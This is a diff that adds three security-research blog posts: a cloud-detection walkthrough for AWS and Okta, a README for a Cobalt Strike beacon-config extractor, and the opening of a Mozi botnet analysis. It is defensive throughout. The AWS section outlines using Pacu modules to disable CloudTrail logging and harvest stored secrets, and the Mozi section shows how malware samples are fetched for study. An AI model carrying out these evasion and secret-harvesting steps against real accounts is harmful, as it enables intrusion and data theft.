image: "blog-thumb-network-attack-map.jpg"
|
||||
category:
|
||||
---
|
||||
|
||||
As many organizations have migrated their infrastructure, applications, and data to cloud offerings, adversaries have extended their operational capabilities in cloud environments to achieve their mission — whether that means stealing intellectual property, disrupting business operations, or holding an organization's data for ransom. In order to protect our users' data from attack, the Elastic Security Intelligence & Analytics Team researches and develops [rules](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) to detect attacker behavior in the cloud _and_ on the endpoint.
|
||||
|
||||
In this post, we'll discuss cloud monitoring and detection-related challenges security operations teams face, and why attacks against cloud environments are often successful. We will share details on our free cloud detection rules (including many new ones released in [Elastic Security 7.9](https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security)) and show how they can help [Elastic Security](https://www.elastic.co/security) users.
|
||||
|
||||
We'll also explain how Elastic can ingest logs from a wide variety of cloud platforms and how the Elastic Common Schema (ECS) makes searching, monitoring, and detection easy for defenders.
|
||||
|
||||
## Cloud monitoring and detection challenges
|
||||
|
||||
Security teams typically encounter one or more of the following challenges when they're asked to monitor, detect, and respond to threats in their organization's cloud environments:
|
||||
|
||||
- **Resource constraints:** It can take a considerable amount of time to learn and understand cloud technologies and their ever-changing data sources. Many security operations teams do not have the resources to allocate to this ongoing effort.
|
||||
- **Understanding of adversary tradecraft:** Attacker behavior on well-known platforms such as Windows has been researched extensively and shared with the security community. Security teams may not have an in-depth understanding of how adversaries operate in cloud environments or the ability to provision a test environment to practice offensive and defensive techniques to protect their organization.
|
||||
- **Blind spots:** For effective monitoring and detection, the data available to security practitioners must be relevant, accurate, and timely. Cloud logs shipped to a SIEM can be used for detection and response as long as the security team can depend on the quality of the data.
|
||||
- **Data normalization:** Most cloud platforms have their own log categories and event schema. Normalizing logs into a common schema is not a trivial or one-off task. Some security teams, for example, have several different field names for a hostname across their data sources indexed in their SIEM. Without a normalized and documented schema, it can be difficult for analysts — especially less experienced ones — to write search queries and correlate events across data sources effectively.
|
||||
|
||||
## Ingesting and searching cloud logs with Elastic
|
||||
|
||||
Elastic has a large collection of Filebeat [modules](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html) that can be used to simplify the collection, parsing, and visualization of many diverse log formats into a common schema — including cloud platforms such as [Amazon Web Services (AWS)](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-aws.html), [Azure](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-azure.html), [Okta](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html), and [Office 365](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-o365.html). Rapid development of new Filebeat modules is an ongoing process.
|
||||
|
||||
The [Elastic Common Schema](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) (ECS) defines a common set of fields for ingesting logs from a connected data source (e.g., AWS/Okta) into Elasticsearch. Log data is normalized into a format where the various field names can be used in queries to correlate behavior across data sources. This is useful to security and IT operations teams for a number of reasons.
|
||||
|
||||
Practitioners and administrators do not need to spend countless hours transforming or normalizing their ingested logs so that the field names follow their own common schema. Managing a schema like this yourself is no small undertaking and is a continuous effort. Elastic manages ECS (saving users time and resources) so that security teams can rely on a common set of field names to search their data quickly and efficiently.
|
||||
|
||||
End users can rely on using the same field names in their queries when searching across multiple data sources, which presents the following advantages:
|
||||
|
||||
- Having a consistent schema for searching saves security analysts time and lowers the barrier to entry for new analysts. Analysts don't have to learn or remember all of the different field names and their purpose for each data source.
|
||||
- Analysts can correlate events across data sources such as endpoint, proxy, and firewall, which helps them ask questions of their data more efficiently and make sound decisions during an investigation, incident, or hunt.
|
||||
- It's easy for analysts to produce a timeline or build a visualization of the activity that occurred.
|
||||
|
||||
## Detecting attackers operating in cloud environments
|
||||
|
||||
The Elastic Security Intelligence & Analytics Team's research into adversary tradecraft leads to new detection features like rules and machine learning jobs — capabilities that enable small security teams to have an outsized impact. Security features like these increase the cost of an attack for adversaries. Elastic Security users can expect to see a continued focus on increasing the cost of cloud attacks.
|
||||
|
||||
In the remainder of this blog post, we'll simulate attack techniques against AWS and Okta cloud environments. We'll review the alerts that are generated by the suspicious activity and how an analyst can perform initial triage and complete their investigation using Elastic Security. We will also demonstrate how analysts can add exceptions to detection rules in order to filter benign events and continue to alert on suspicious behavior.
|
||||
|
||||
## Monitoring AWS CloudTrail logs to detect suspicious behavior
|
||||
|
||||
As organizations migrate to or provision new infrastructure in cloud platforms like AWS, they face the common challenges that we described earlier. Fortunately, Elastic Security has a [strong variety of AWS rules](https://github.com/elastic/detection-rules/tree/main/rules/aws), available for [free in 7.9](https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security) to detect suspicious behaviors in an AWS environment.
|
||||
|
||||
The Filebeat [module](https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-aws.html) for AWS helps you easily ship CloudTrail, Simple Storage Service (S3), Elastic Load Balancing (ELB), and virtual private cloud (VPC) flow logs to Elasticsearch for monitoring and detection in Elastic Security. Let's walk through an attack and defense scenario utilizing CloudTrail data. [CloudTrail](https://aws.amazon.com/cloudtrail/) provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS software development kits (SDKs), command line tools, and other AWS services. This event history can help simplify security detection, analysis, and investigations.
|
||||
|
||||
Many attacks against AWS start with an attacker obtaining an access key and/or the secret access key details. These keys may be harvested in a variety of ways, including through phishing, a data breach, GitHub repositories, screenshots, error messages, snapshot data, or simply poor key management practices. By obtaining these keys, an attacker can take a variety of actions against your AWS infrastructure.
|
||||
|
||||
Let's walk through one of the many potential attack scenarios that could play out. In the following example, the adversary enumerates the trails and monitoring capabilities that have been configured for the AWS account. They follow up on this activity by disabling a trail and a configuration recorder in an attempt to evade detections and then proceed to harvest secrets.
|
||||
|
||||
### Simulating adversary behavior in AWS
|
||||
|
||||
In this demonstration, we'll use [Pacu](https://github.com/RhinoSecurityLabs/pacu) to perform our attack. Pacu is a popular framework for exploiting AWS infrastructure, developed and maintained by Rhino Security Labs. Pacu is modular, similar to other exploitation frameworks like Metasploit and Koadic, and enables attackers to exploit configuration flaws within an AWS account. Attackers can use Pacu to check if the required permissions are assigned to the compromised account before attempting to execute a module. This can be helpful from an attacker's perspective to not create unnecessary noise and logs, and draw additional attention from defenders by running modules that will ultimately fail.
|
||||
|
||||
The attacker begins by enumerating services using the detection\_\_enum_services module to determine what logging and monitoring services are enabled for the AWS account.
|
||||
|
||||

|
||||
|
||||
The attacker discovered eight trails, as well as ten configuration rules, a recorder, and a delivery channel. Essentially, the enumeration script is querying certain AWS API calls to list or describe relevant information about the environment. By reviewing the [code](https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/detection__enum_services/main.py) of the module, we can see the targeted APIs:
|
||||
|
||||
```
|
||||
DescribeSubscription
|
||||
GetSubscriptionState
|
||||
DescribeTrails
|
||||
ListDetectors
|
||||
DescribeConfigRules
|
||||
DescribeConfigurationRecorders
|
||||
DescribeConfigurationRecorderStatus
|
||||
DescribeDeliveryChannels
|
||||
DescribeDeliveryChannelStatus
|
||||
DescribeConfigurationAggregators
|
||||
DescribeAlarms
|
||||
DescribeFlowLogs
|
||||
```
|
||||
|
||||
After the attacker determines which services are running, their next logical step may be to interrupt logging and monitoring by disabling a trail, alarm, detector, or recorder in an attempt to evade detection. To accomplish this objective, we'll use a different module called detection\_\_disruption to disable a trail called brentlog, and stop the configuration recorder named default.
|
||||
|
||||

|
||||
|
||||
At this point, with trail logging suspended and the configuration recorder turned off from tracking changes to resources, the attacker may want to check if there are any credentials, API keys, or tokens available in [Secrets Manager](https://aws.amazon.com/about-aws/whats-new/2018/04/introducing-aws-secrets-manager/#:~:text=AWS%20Secrets%20Manager%20is%20a,other%20secrets%20throughout%20their%20lifecycle.) and if so, collect them. In this scenario, the attacker uses the enum_secrets module and finds one secret in the directory, /sessions/brent/downloads/secrets/secrets_manager. Harvesting these secrets could help the adversary achieve lateral movement and/or privilege escalation.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
We'll stop our fictitious attack scenario here, but if you're curious to learn what the attacker could do next, the following Google search will return some examples: intitle:"AWS" intext:("attack" | "breach"). In the next section, we'll look at what this behavior looks like from a defender's perspective and how Elastic Security can be used to detect this behavior.
|
||||
|
||||
### Detecting and investigating the suspicious behavior in AWS
|
||||
|
||||
While monitoring the usage of the previously mentioned APIs, it can be difficult to distinguish benign activity from suspicious behavior, such as an attacker enumerating an environment. In production environments, monitoring for calls to these APIs can be noisy, as the behavior is quite common. To help find this rare and potentially suspicious behavior, and in addition to the AWS detection rules we have available, we've released [machine learning](https://github.com/elastic/detection-rules/tree/main/rules/ml) jobs in 7.9 specifically for AWS CloudTrail that help identify outliers, such as patterns of unusual activity that are hard to find using conventional detection rules.
|
||||
|
||||
Looking at our detections page from the previous attack, we can see multiple alerts were triggered. Our free built-in detection rules identified the techniques of _suspending a trail_, _stopping a configuration recorder_, and _grabbing sensitive information from the secrets manager_. The other alerts are from the machine learning jobs of [_Unusual Country For an AWS Command_](https://www.elastic.co/guide/en/security/7.9/unusual-city-for-an-aws-command.html) and [_Unusual AWS Command for a User_](https://www.elastic.co/guide/en/security/master/unusual-aws-command-for-a-user.html) which identify a geolocation (country) that is unusual for the command or a user context that does not normally use the command.
|
||||
|
||||

|
||||
|
||||
If we pivot into one of the machine learning alerts, we can see a description of what it detected, along with a built-in investigation guide to walk an analyst through a potential workflow when analyzing an unusual CloudTrail event.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Let's also take a look at the details in the Timeline view from the [_AWS Configuration Recorder Stopped_](https://www.elastic.co/guide/en/security/master/aws-configuration-recorder-stopped.html) alert. The fields I'm particularly interested in are the API call, user agent string, user identity type, request parameters, and the raw text of the entire event.
|
||||
|
||||

|
||||
|
||||
By analyzing the alert, we're able to quickly determine:
|
||||
|
||||
| | |
|
||||
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Field | Description |
|
||||
| event.action | Tells us the AWS API call that was made, StopConfigurationRecorder |
|
||||
| request_parameters | Gives us the details about what was sent in the request, in our case, the configuration recorder name, default |
|
||||
| user.name | Informs us as to who made the request, pacu |
|
||||
| user_identity.type | Contains details about the type of Identity and Access Management (IAM) identity. In our case, an IAMUser. Root is another user identity type we have built in rules for. |
|
||||
| user_agent | The value of the HTTP User-Agent header. User agent strings can be easily modified, but if an account typically uses the AWS Java SDK for their API calls, and it changes, then the detection of the anomalous user agent string can be a quick win. |
|
||||
| event.original | Gives us the raw alert details |
|
||||
|
||||
_Table 1 - Analysis of alert fields_
|
||||
|
||||
After analyzing the alert, we can start to piece together the events and look at what actions the user took just before our alerts fired (and afterwards as applicable). Again, we can spot the attackers enumeration here as well.
|
||||
|
||||

|
||||
|
||||
We may also want to search our environment for specific API calls to see if they were invoked by other users or hosts, from different IPs, or at other time frames that would be suspicious in our environment.
|
||||
|
||||

|
||||
|
||||
We can also create a visualization to look for the least common API calls in our environment and pivot from there. For AWS, the API calls are in the event.action field.
|
||||
|
||||

|
||||
|
||||
As demonstrated, our free built-in rules for AWS can detect this activity as well as a number of other potential attack scenarios. We've opened up our [rules repository](https://github.com/elastic/detection-rules) and encourage you to have a look and learn how to [contribute](https://github.com/elastic/detection-rules#how-to-contribute) if interested.
|
||||
|
||||
## Detecting suspicious behavior in Okta logs
|
||||
|
||||
[Okta single sign-on (SSO)](https://www.okta.com/products/single-sign-on/) is a cloud solution that allows users to log into a variety of systems in their organization via a centralized process using a single user account. Informing end users that they only have to remember one username and password instead of ten or more reduces the risk that they'll adopt poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barriers to entry for attackers. Many attackers will simply move on to look for an easier target when they discover that MFA is enforced for their target's network or user account.
|
||||
|
||||
While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems that offer a type of skeleton key to many systems and applications are often an attractive target for attackers. For example, if an adversary manages to harvest an Okta administrator's credentials or API token, they could attempt to perform any of the actions in the non-exhaustive list below:
|
||||
|
||||
- Modify or disable MFA policies for one or more applications in order to weaken their victim's security controls.
|
||||
- Create new user accounts or API tokens to maintain persistence in their target's environment and attempt to “blend in” and evade detection.
|
||||
- Modify, delete, or deactivate an Okta network zone to loosen the restrictions on which geolocation users or administrators can login from.
|
||||
- Delete or disable an application or other configuration to create a Denial-of-Service (DoS) condition and impact a company's business operations.
|
||||
|
||||
To enable security teams to monitor their Okta environment for suspicious activity, our [Okta Filebeat module](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html) can pull [Okta System Log](https://developer.okta.com/docs/reference/api/system-log/) events and ship them to Elasticsearch to be indexed. Okta's System Log records events related to an organization in order to provide an audit trail that can be used to understand platform activity. The Elastic Security Intelligence & Analytics Team has [free rules](https://github.com/elastic/detection-rules/tree/main/rules/okta) to detect suspicious activity in Okta logs and will continue adding more in future.
|
||||
|
||||
In the following example, imagine that an adversary has harvested an API token after gaining initial access to an organization's network. The API token has administrator privileges and the adversary executes some actions in their target's Oka environment:
|
||||
|
||||
- Create a new user account and assign administrative permissions to it in order to maintain a presence in the target environment should the security team discover that the current API token is compromised
|
||||
- Deactivate a sign-on policy in order to weaken the target's security controls
|
||||
- Disable a network zone to enable attackers to authenticate from any geographical location during their intrusion
|
||||
|
||||
The Okta Filebeat module was configured to ship Okta System Log events to Elasticsearch and our Okta rules were activated in Elastic Security. The suspicious activity triggered three alerts shown in Figure 12 below.
|
||||
|
||||

|
||||
|
||||
Clicking on one of the alerts allows the analyst to review more information about the rule, including the description of the behavior that the rule detects, severity and risk scores, and the associated MITRE ATT&CK® tactic and technique. The analyst can scroll further down the page and begin to investigate the alert in Timeline.
|
||||
|
||||
To learn more how Elastic supports ATT&CK, see our presentation: [How to Plan and Execute a Hunt](https://youtu.be/2Hh5spqA6bw).
|
||||
|
||||

|
||||
|
||||
Security practitioners know that every organization's network is different. Behavior that looks suspicious in one environment may be benign in another. To help security teams find the proverbial “signal in the noise,” users can add exceptions to their detection rules to filter benign events and continue to alert on suspicious events. Figure 14 shows an exception being added to an Okta rule.
|
||||
|
||||

|
||||
|
||||
We've also introduced the "threshold" rule type. Threshold rules aggregate query results and generate an alert when the number of matched events exceeds a certain threshold. The example rule below will generate an alert when 25 Okta user authentication failures occur from a single source IP address. This can be indicative of a brute force or password spraying attack.
|
||||
|
||||

|
||||
|
||||
Viewing an alert generated by a threshold rule in the Timeline allows an analyst to review the events that triggered the rule and begin their triage process or investigation.
|
||||
|
||||

|
||||
|
||||
## Conclusion
|
||||
|
||||
According to Verizon's latest [Data Breach Investigations Report](https://enterprise.verizon.com/resources/reports/dbir/), cloud assets were involved in 24% of the report's 3,950 data breaches reviewed last year. As organizations continue to migrate their data and business operations to the cloud, we can expect this number to increase.
|
||||
|
||||
In this blog post, we discussed some of the challenges that security teams face when attempting to monitor for, detect, and investigate suspicious behavior in their organization's cloud environments. We walked through some practical examples on how attackers operate in cloud environments and how Elastic Security can detect those techniques.
|
||||
|
||||
The Elastic Security Intelligence & Analytics Team researches adversary tradecraft and develops new detection rules and machine learning jobs for multiple platforms including cloud. Our users can expect to see our continued focus on increasing the cost of cloud attacks.
|
||||
|
||||
Configuring our [Filebeat modules](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html) to ship logs to Elasticsearch and enable detection rules in Elastic Security is easy. Our [free detection rules](https://github.com/elastic/detection-rules) help security teams monitor those logs and detect suspicious behavior, regardless of the size of their team. Elastic Security enables analysts to triage and investigate those alerts quickly and efficiently.
|
||||
|
||||
If you're interested in learning more about Elastic Security, you can [download it for free](https://www.elastic.co/security) or sign up for a free 14-day trial of [Elastic Cloud](https://www.elastic.co/cloud/).
|
|
@ -0,0 +1,125 @@
|
|||
---
|
||||
title: "Cobalt Strike Beacon Extractor"
|
||||
slug: "cobalt-strike-beacon-extractor"
|
||||
date: "2022-12-06"
|
||||
description: "Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "tools-image.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
tags:
|
||||
- cobaltstrike
|
||||
---
|
||||
|
||||
Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.
|
||||
|
||||
[Download cobalt-strike-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdbc4f9f2366d2f06/628829603b9b8554904a4ba2/cobalt-strike-extractor.tar.gz)
|
||||
|
||||
## Overview
|
||||
|
||||
This tool provides a Python module and command line tool that will search Elastic Endpoint alert data for detections of Cobalt Strike and the extracted memory data. When present, this tool will extract the implant configuration using the [cobaltstrike-config-extractor](https://github.com/strozfriedberg/cobaltstrike-config-extractor). The information is then normalized into an ECS-formatted JSON document and indexed into an Elasticsearch cluster or output to the terminal as JSON.
|
||||
|
||||
> For help on creating Fleet policies to collect and analyze Cobalt Strike beacons in the Elastic Stack, check out our blog posts detailing this:
|
||||
>
|
||||
> - [Collecting Colbalt Strike beacons](https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack)
|
||||
> - [Extracting Cobalt Strike beacon configurations](https://www.elastic.co/security-labs/extracting-cobalt-strike-beacon-configurations)
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Docker
|
||||
|
||||
The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.
|
||||
|
||||
```
|
||||
docker build . -t cobalt-strike-extractor
|
||||
```
|
||||
|
||||
Next, make a copy of config.reference.yml and name it config.local.yml and edit for your environment. A minimal config looks like the example below. The input and output could use the same values, but you can optionally push it to a different cluster for analysis.
|
||||
|
||||
```
|
||||
## Using an Elastic Cloud instance (this is a randomly generated example)
|
||||
input.elasticsearch:
|
||||
enabled: True
|
||||
cloud.id: security-cluster:dXMtd2VzdDEuZ2NwLmNsb3VkLmVzLmlvJGU0MWU1YTc3YmRjNzY2OTY0MDg2NjIzNDA5NzFjNjFkJDdlYjRlYTJkMzJkMTgzYTRiMmJkMjlkNTNjODhjMjQ4
|
||||
cloud.auth: elastic:<PASSWORD>
|
||||
|
||||
## Default output will use localhost:9092, see reference config
|
||||
output.elasticsearch:
|
||||
enabled: True
|
||||
username: elastic
|
||||
password: <PASSWORD>
|
||||
|
||||
```
|
||||
|
||||
Now, run the container, passing in our local configuration. The -v flag here will add informational messages to the log output. Here, it tells us how many documents were successfully parsed and written.
|
||||
|
||||
```
|
||||
docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
|
||||
cobalt-strike-extractor:latest -c /config.yml -v
|
||||
|
||||
```
|
||||
|
||||
_Output_:
|
||||
|
||||
```
|
||||
[2022-01-10T21:33:31.493][INFO] Setting up input/output
|
||||
[2022-01-10T21:33:31.493][INFO] Connecting to Elasticsearch for input
|
||||
[2022-01-10T21:33:31.493][INFO] Successfully connected to Elasticsearch for input
|
||||
[2022-01-10T21:33:31.834][INFO] Connecting to Elasticsearch for output
|
||||
[2022-01-10T21:33:31.835][INFO] Successfully connected to Elasticsearch for output
|
||||
[2022-01-10T21:33:33.030][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.078][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.093][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.096][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.097][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.098][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.186][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.191][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.461][WARNING] Could not parse source as PE file (DOS Header magic not found.)
|
||||
[2022-01-10T21:33:33.516][WARNING] CobaltStrike Beacon config not found:
|
||||
[2022-01-10T21:33:33.927][INFO] Wrote 2 docs to Elasticsearch
|
||||
|
||||
```
|
||||
|
||||
The [WARNING] messages here are to be expected. These are simply source documents that didn’t contain the configuration information.
|
||||
|
||||
#### Filter by time
|
||||
|
||||
To limit the search by time frame, you can add the --since argument, which takes either an ISO-formatted date time string or you can use [Elastic date math](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-range-query.html#ranges-on-dates). For example, to limit search to the last 30 days, you can do the following.
|
||||
|
||||
```
|
||||
docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
|
||||
cobalt-strike-extractor:latest --since "now-30d/d" -c config.local.yml
|
||||
|
||||
```
|
||||
|
||||
#### Pipe output to other tools
|
||||
|
||||
Lastly, you can pipe the output to other commands, such as jq to do local analysis. You can also override the configuration file values using environment variables.
|
||||
|
||||
```
|
||||
docker run -i --rm -a stdin -a stdout -a stderr \
|
||||
-v "$(pwd)/config.local.yml:/config.yml" \
|
||||
-e "OUTPUT_ELASTICSEARCH_ENABLED=False" \
|
||||
-e "OUTPUT_CONSOLE_ENABLED=True" cobalt-strike-extractor:latest -c /config.yml -q | jq '.cobaltstrike.server.hostname'
|
||||
|
||||
```
|
||||
|
||||
In the example above, we disabled the Elasticsearch output and enabled the Console output using environment variables. We made the output more quiet using the -q flag (hiding the warnings). Then, we used jq to just pull out the “hostname” value of the configuration.
|
||||
|
||||
### Running it Locally
|
||||
|
||||
As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.
|
||||
|
||||
```
|
||||
poetry lock
|
||||
poetry install
|
||||
poetry shell
|
||||
cobalt-strike-extractor --help
|
||||
|
||||
```
|
||||
|
||||
Once that works, you can do the same sort of things as mentioned in the Docker instructions above.
|
|
@ -0,0 +1,450 @@
|
|||
---
|
||||
title: "Collecting and operationalizing threat data from the Mozi botnet"
|
||||
slug: "collecting-and-operationalizing-threat-data-from-the-mozi-botnet"
|
||||
date: "2022-06-02"
|
||||
description: "The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet."
|
||||
author:
|
||||
- slug: andrew-pease
|
||||
- slug: seth-goodwin
|
||||
- slug: derek-ditch
|
||||
- slug: daniel-stepanic
|
||||
image: "blog-thumb-mozi-botnet.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
Detecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.
|
||||
|
||||
The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was [first reported](https://blog.netlab.360.com/mozi-another-botnet-using-dht/) by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.
|
||||
|
||||
As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.
|
||||
|
||||
Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.
|
||||
|
||||
## Collection
|
||||
|
||||
When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.
|
||||
|
||||
To begin, we started with a handful of [Mozi samples](https://threatfox.abuse.ch/browse.php?search=tag%3Amozi) collected from [ThreatFox](https://threatfox.abuse.ch/). ThreatFox is an open source platform from [Abuse.ch](https://abuse.ch) with the goal of sharing malware indicators with the security research community.
|
||||
|
||||
Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.
|
||||
|
||||
```
|
||||
curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ "query": "taginfo", "tag": "Mozi", "limit": 1 }'
|
||||
```
|
||||
|
||||
_Code block 1 - cURL request to ThreatFox API_
|
||||
|
||||
- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API
|
||||
- `https://threatfox-api.abuse.ch/api/v1/` - this is the ThreatFox API endpoint
|
||||
- -d - this is denoting that we’re going to be sending data
|
||||
- query: taginfo - the type of query that we’re making, taginfo in our example
|
||||
- tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example
|
||||
- limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results
|
||||
|
||||
This returned the following information:
|
||||
|
||||
```
|
||||
{
|
||||
"query_status": "ok",
|
||||
"data": [
|
||||
{
|
||||
"id": "115772",
|
||||
"ioc": "nnn.nnn.nnn.nnn:53822",
|
||||
"threat_type": "botnet_cc",
|
||||
"threat_type_desc": "Indicator that identifies a botnet command&control server (C&C)",
|
||||
"ioc_type": "ip:port",
|
||||
"ioc_type_desc": "ip:port combination that is used for botnet Command&control (C&C)",
|
||||
"malware": "elf.mozi",
|
||||
"malware_printable": "Mozi",
|
||||
"malware_alias": null,
|
||||
"malware_malpedia": "https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/elf.mozi",
|
||||
"confidence_level": 75,
|
||||
"first_seen": "2021-06-15 08:22:52 UTC",
|
||||
"last_seen": null,
|
||||
"reference": "https:\/\/bazaar.abuse.ch\/sample\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\/",
|
||||
"reporter": "abuse_ch",
|
||||
"tags": [
|
||||
"Mozi"
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
_Code block 2 - Response from ThreatFox API_
|
||||
|
||||
Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).
|
||||
|
||||
Just like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.
|
||||
|
||||
```
|
||||
curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw
|
||||
```
|
||||
|
||||
_Code block 3 - cURL request to Malware Bazaar API_
|
||||
|
||||
- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API
|
||||
- `https://mb-api.abuse.ch/api/v1` - this is the Malware Bazaar API endpoint
|
||||
- -d - this is denoting that we’re going to be sending data
|
||||
- query: get_file - the type of query that we’re making, get_file in our example
|
||||
- sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example
|
||||
- -o - the file name we’re going to save the binary as
|
||||
|
||||
This will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.
|
||||
|
||||
### Unpacking
|
||||
|
||||
Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running [Sysinternals Strings](https://docs.microsoft.com/en-us/sysinternals/downloads/strings) over our sample:
|
||||
|
||||
```
|
||||
$ strings truncated-87d3b.elf
|
||||
ELF
|
||||
*UPX!
|
||||
ELF
|
||||
$Bw
|
||||
(GT
|
||||
...
|
||||
```
|
||||
|
||||
_Code block 3 - Strings output from the packed Mozi sample_
|
||||
|
||||
Right away we see that we have a [UPX](https://upx.github.io/) packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.
|
||||
|
||||
```
|
||||
$ upx -d truncated-87d3b.elf
|
||||
Ultimate Packer for eXecutables
|
||||
Copyright (C) 1996 - 2020
|
||||
UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
|
||||
File size Ratio Format Name
|
||||
-------------------- ------ ----------- -----------
|
||||
upx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted
|
||||
```
|
||||
|
||||
